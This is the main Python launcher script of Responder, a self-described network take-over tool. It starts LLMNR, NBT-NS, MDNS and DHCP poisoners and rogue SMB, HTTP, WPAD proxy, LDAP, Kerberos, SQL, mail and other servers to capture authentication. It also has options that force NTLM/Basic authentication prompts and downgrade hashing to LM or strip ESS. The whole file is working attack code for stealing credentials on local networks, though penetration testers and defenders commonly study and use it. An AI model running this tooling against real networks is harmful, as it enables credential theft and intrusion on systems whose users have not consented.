#!/usr/bin/env python3
# This file is part of Responder, a network take-over set of tools 
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.
import optparse
import ssl
try:
	from SocketServer import TCPServer, UDPServer, ThreadingMixIn
except:
	from socketserver import TCPServer, UDPServer, ThreadingMixIn
from threading import Thread
from utils import *
import struct
banner()

parser = optparse.OptionParser(usage='python %prog -I eth0 -w -d\nor:\npython %prog -I eth0 -wd', version=settings.__version__, prog=sys.argv[0])
parser.add_option('-A','--analyze',        action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False)
parser.add_option('-I','--interface',      action="store",      help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None)
parser.add_option('-i','--ip',             action="store",      help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
parser.add_option('-6', "--externalip6",    action="store",      help="Poison all requests with another IPv6 address than Responder's one.", dest="ExternalIP6",  metavar="2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed", default=None)
parser.add_option('-e', "--externalip",    action="store",      help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP",  metavar="10.0.0.22", default=None)
parser.add_option('-b', '--basic',         action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
parser.add_option('-d', '--DHCP',          action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False)
parser.add_option('-D', '--DHCP-DNS',     action="store_true", help="This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False", dest="DHCP_DNS", default=False)

parser.add_option('-w','--wpad',           action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
parser.add_option('-u','--upstream-proxy', action="store",      help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
parser.add_option('-F','--ForceWpadAuth',  action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)

parser.add_option('-P','--ProxyAuth',       action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective. Default: False", dest="ProxyAuth_On_Off", default=False)
parser.add_option('-Q','--quiet',           action="store_true", help="Tell Responder to be quiet, disables a bunch of printing from the poisoners. Default: False", dest="Quiet", default=False)

parser.add_option('--lm',                  action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
parser.add_option('--disable-ess',         action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
parser.add_option('-v','--verbose',        action="store_true", help="Increase verbosity.", dest="Verbose")
options, args = parser.parse_args()

if not os.geteuid() == 0:
    print(color("[!] Responder must be run as root."))
    sys.exit(-1)
elif options.OURIP == None and IsOsX() == True:
    print("\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n")
    parser.print_help()
    exit(-1)
    
elif options.ProxyAuth_On_Off and options.WPAD_On_Off:
    print("\n\033[1m\033[31mYou cannot use WPAD server and Proxy_Auth server at the same time, choose one of them.\033[0m\n")
    exit(-1)

settings.init()
settings.Config.populate(options)

StartupMessage()

settings.Config.ExpandIPRanges()

#Create the DB, before we start Responder.
CreateResponderDb()

Have_IPv6 = settings.Config.IPv6

class ThreadingUDPServer(ThreadingMixIn, UDPServer):
	def server_bind(self):
		if OsInterfaceIsSupported():
			try:
				if settings.Config.Bind_To_ALL:
					pass
				else:
					if (sys.version_info > (3, 0)):
						self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
						if Have_IPv6:
							self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
					else:
						self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
						if Have_IPv6:
							self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
			except:
				pass
		UDPServer.server_bind(self)

class ThreadingTCPServer(ThreadingMixIn, TCPServer):
	def server_bind(self):
		if OsInterfaceIsSupported():
			try:
				if settings.Config.Bind_To_ALL:
					pass
				else:
					if (sys.version_info > (3, 0)):
						self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
						if Have_IPv6:
							self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
					else:
						self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
						if Have_IPv6:
							self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
			except:
				pass
		TCPServer.server_bind(self)

class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
	def server_bind(self):
		if OsInterfaceIsSupported():
			try:
				if settings.Config.Bind_To_ALL:
					pass
				else:
					if (sys.version_info > (3, 0)):
						self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
						if Have_IPv6:
							self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
					else:
						self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
						if Have_IPv6:
							self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
			except:
				pass
		self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
		TCPServer.server_bind(self)

class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
	def server_bind(self):
		MADDR = "224.0.0.251"
		MADDR6 = 'ff02::fb'
		self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
		self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
		Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR) + settings.Config.IP_aton)

		#IPV6:
		if (sys.version_info > (3, 0)):
			if Have_IPv6:
				mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
				self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
		else:
			if Have_IPv6:
				mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
				self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
		if OsInterfaceIsSupported():
			try:
				if settings.Config.Bind_To_ALL:
					pass
				else:
					if (sys.version_info > (3, 0)):
						self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
						if Have_IPv6:
							self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
					else:
						self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
						if Have_IPv6:
							self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
			except:
				pass
		UDPServer.server_bind(self)

class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
	def server_bind(self):
		MADDR  = '224.0.0.252'
		MADDR6 = 'FF02:0:0:0:0:0:1:3'
		self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
		self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)		
		Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton)

		#IPV6:
		if Have_IPv6:
			mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
			self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
		if OsInterfaceIsSupported():
			try:
				if settings.Config.Bind_To_ALL:
					pass
				else:
					if (sys.version_info > (3, 0)):
						self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
						if Have_IPv6:
							self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
					else:
						self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
						if Have_IPv6:
							self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
			except:
				pass
		UDPServer.server_bind(self)
		

ThreadingUDPServer.allow_reuse_address = 1
if Have_IPv6:
	ThreadingUDPServer.address_family = socket.AF_INET6

ThreadingTCPServer.allow_reuse_address = 1
if Have_IPv6:
	ThreadingTCPServer.address_family = socket.AF_INET6

ThreadingUDPMDNSServer.allow_reuse_address = 1
if Have_IPv6:
	ThreadingUDPMDNSServer.address_family = socket.AF_INET6

ThreadingUDPLLMNRServer.allow_reuse_address = 1
if Have_IPv6:
	ThreadingUDPLLMNRServer.address_family = socket.AF_INET6

ThreadingTCPServerAuth.allow_reuse_address = 1
if Have_IPv6:
	ThreadingTCPServerAuth.address_family = socket.AF_INET6

def serve_thread_udp_broadcast(host, port, handler):
	try:
		server = ThreadingUDPServer(('', port), handler)
		server.serve_forever()
	except:
		print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")

def serve_NBTNS_poisoner(host, port, handler):
	serve_thread_udp_broadcast('', port, handler)

def serve_MDNS_poisoner(host, port, handler):
	try:
		server = ThreadingUDPMDNSServer(('', port), handler)
		server.serve_forever()
	except:
		print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")

def serve_LLMNR_poisoner(host, port, handler):
	try:
		server = ThreadingUDPLLMNRServer(('', port), handler)
		server.serve_forever()
	except:
		print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
		
def serve_thread_udp(host, port, handler):
	try:
		if OsInterfaceIsSupported():
			server = ThreadingUDPServer(('', port), handler)
			server.serve_forever()
		else:
			server = ThreadingUDPServer(('', port), handler)
			server.serve_forever()
	except:
		print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")

def serve_thread_tcp(host, port, handler):
	try:
		if OsInterfaceIsSupported():
			server = ThreadingTCPServer(('', port), handler)
			server.serve_forever()
		else:
			server = ThreadingTCPServer(('', port), handler)
			server.serve_forever()
	except:
		print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")

def serve_thread_tcp_auth(host, port, handler):
	try:
		if OsInterfaceIsSupported():
			server = ThreadingTCPServerAuth(('', port), handler)
			server.serve_forever()
		else:
			server = ThreadingTCPServerAuth(('', port), handler)
			server.serve_forever()
	except:
		print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")

def serve_thread_SSL(host, port, handler):
	try:

		cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
		key =  os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
		context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
		context.load_cert_chain(cert, key)
		if OsInterfaceIsSupported():
			server = ThreadingTCPServer(('', port), handler)
			server.socket = context.wrap_socket(server.socket, server_side=True)
			server.serve_forever()
		else:
			server = ThreadingTCPServer(('', port), handler)
			server.socket = context.wrap_socket(server.socket, server_side=True)
			server.serve_forever()
	except:
		print(color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running.")


def main():
	try:
		if (sys.version_info < (3, 0)):
			print(color('\n\n[-]', 3, 1) + " Still using python 2? :(")
		print(color('\n[+]', 2, 1) + " Listening for events...\n")

		threads = []

		# Load (M)DNS, NBNS and LLMNR Poisoners
		if settings.Config.LLMNR_On_Off:
		    from poisoners.LLMNR import LLMNR
		    threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,)))

		if settings.Config.NBTNS_On_Off:
		    from poisoners.NBTNS import NBTNS
		    threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137,  NBTNS,)))

		if settings.Config.MDNS_On_Off:
		    from poisoners.MDNS import MDNS
		    threads.append(Thread(target=serve_MDNS_poisoner,  args=('', 5353, MDNS,)))

		#// Vintage Responder BOWSER module, now disabled by default. 
		#// Generate to much noise & easily detectable on the network when in analyze mode.
		# Load Browser Listener
		#from servers.Browser import Browser
		#threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138,  Browser,)))

		if settings.Config.HTTP_On_Off:
			from servers.HTTP import HTTP
			threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 80, HTTP,)))

		if settings.Config.WinRM_On_Off:
			from servers.WinRM import WinRM
			threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 5985, WinRM,)))

		if settings.Config.WinRM_On_Off:
			from servers.WinRM import WinRM
			threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 5986, WinRM,)))

		if settings.Config.SSL_On_Off:
			from servers.HTTP import HTTP
			threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 443, HTTP,)))

		if settings.Config.RDP_On_Off:
			from servers.RDP import RDP
			threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3389, RDP,)))

		if settings.Config.DCERPC_On_Off:
			from servers.RPC import RPCMap, RPCMapper
			threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 135, RPCMap,)))
			threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, settings.Config.RPCPort, RPCMapper,)))

		if settings.Config.WPAD_On_Off:
			from servers.HTTP_Proxy import HTTP_Proxy
			threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3128, HTTP_Proxy,)))

		if settings.Config.ProxyAuth_On_Off:
		        from servers.Proxy_Auth import Proxy_Auth
		        threads.append(Thread(target=serve_thread_tcp_auth, args=(settings.Config.Bind_To, 3128, Proxy_Auth,)))

		if settings.Config.SMB_On_Off:
			if settings.Config.LM_On_Off:
				from servers.SMB import SMB1LM
				threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 445, SMB1LM,)))
				threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 139, SMB1LM,)))
			else:
				from servers.SMB import SMB1
				threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 445, SMB1,)))
				threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 139, SMB1,)))

		if settings.Config.Krb_On_Off:
			from servers.Kerberos import KerbTCP, KerbUDP
			threads.append(Thread(target=serve_thread_udp, args=('', 88, KerbUDP,)))
			threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 88, KerbTCP,)))

		if settings.Config.SQL_On_Off:
			from servers.MSSQL import MSSQL, MSSQLBrowser
			threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 1433, MSSQL,)))
			threads.append(Thread(target=serve_thread_udp_broadcast, args=(settings.Config.Bind_To, 1434, MSSQLBrowser,)))

		if settings.Config.FTP_On_Off:
			from servers.FTP import FTP
			threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 21, FTP,)))

		if settings.Config.POP_On_Off:
			from servers.POP3 import POP3
			threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 110, POP3,)))

		if settings.Config.LDAP_On_Off:
			from servers.LDAP import LDAP, CLDAP
			threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 389, LDAP,)))
			threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 636, LDAP,)))
			threads.append(Thread(target=serve_thread_udp, args=('', 389, CLDAP,)))

		if settings.Config.MQTT_On_Off:
			from servers.MQTT import MQTT
			threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 1883, MQTT,)))

		if settings.Config.SMTP_On_Off:
			from servers.SMTP import ESMTP
			threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 25,  ESMTP,)))
			threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 587, ESMTP,)))

		if settings.Config.IMAP_On_Off:
			from servers.IMAP import IMAP
			threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 143, IMAP,)))

		if settings.Config.DNS_On_Off:
			from servers.DNS import DNS, DNSTCP
			threads.append(Thread(target=serve_thread_udp, args=('', 53, DNS,)))
			threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 53, DNSTCP,)))

		if settings.Config.SNMP_On_Off:
			from servers.SNMP import SNMP
			threads.append(Thread(target=serve_thread_udp, args=('', 161, SNMP,)))

		for thread in threads:
			thread.daemon = True
			thread.start()

		if settings.Config.AnalyzeMode:
			print(color('[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1))
		if settings.Config.Quiet_Mode:
			print(color('[+] Responder is in quiet mode. No NBT-NS, LLMNR, MDNS messages will print to screen.', 3, 1))
			

		if settings.Config.DHCP_On_Off:
			from poisoners.DHCP import DHCP
			DHCP(settings.Config.DHCP_DNS)

		while True:
			time.sleep(1)

	except KeyboardInterrupt:
		sys.exit("\r%s Exiting..." % color('[+]', 2, 1))

if __name__ == '__main__':
	main()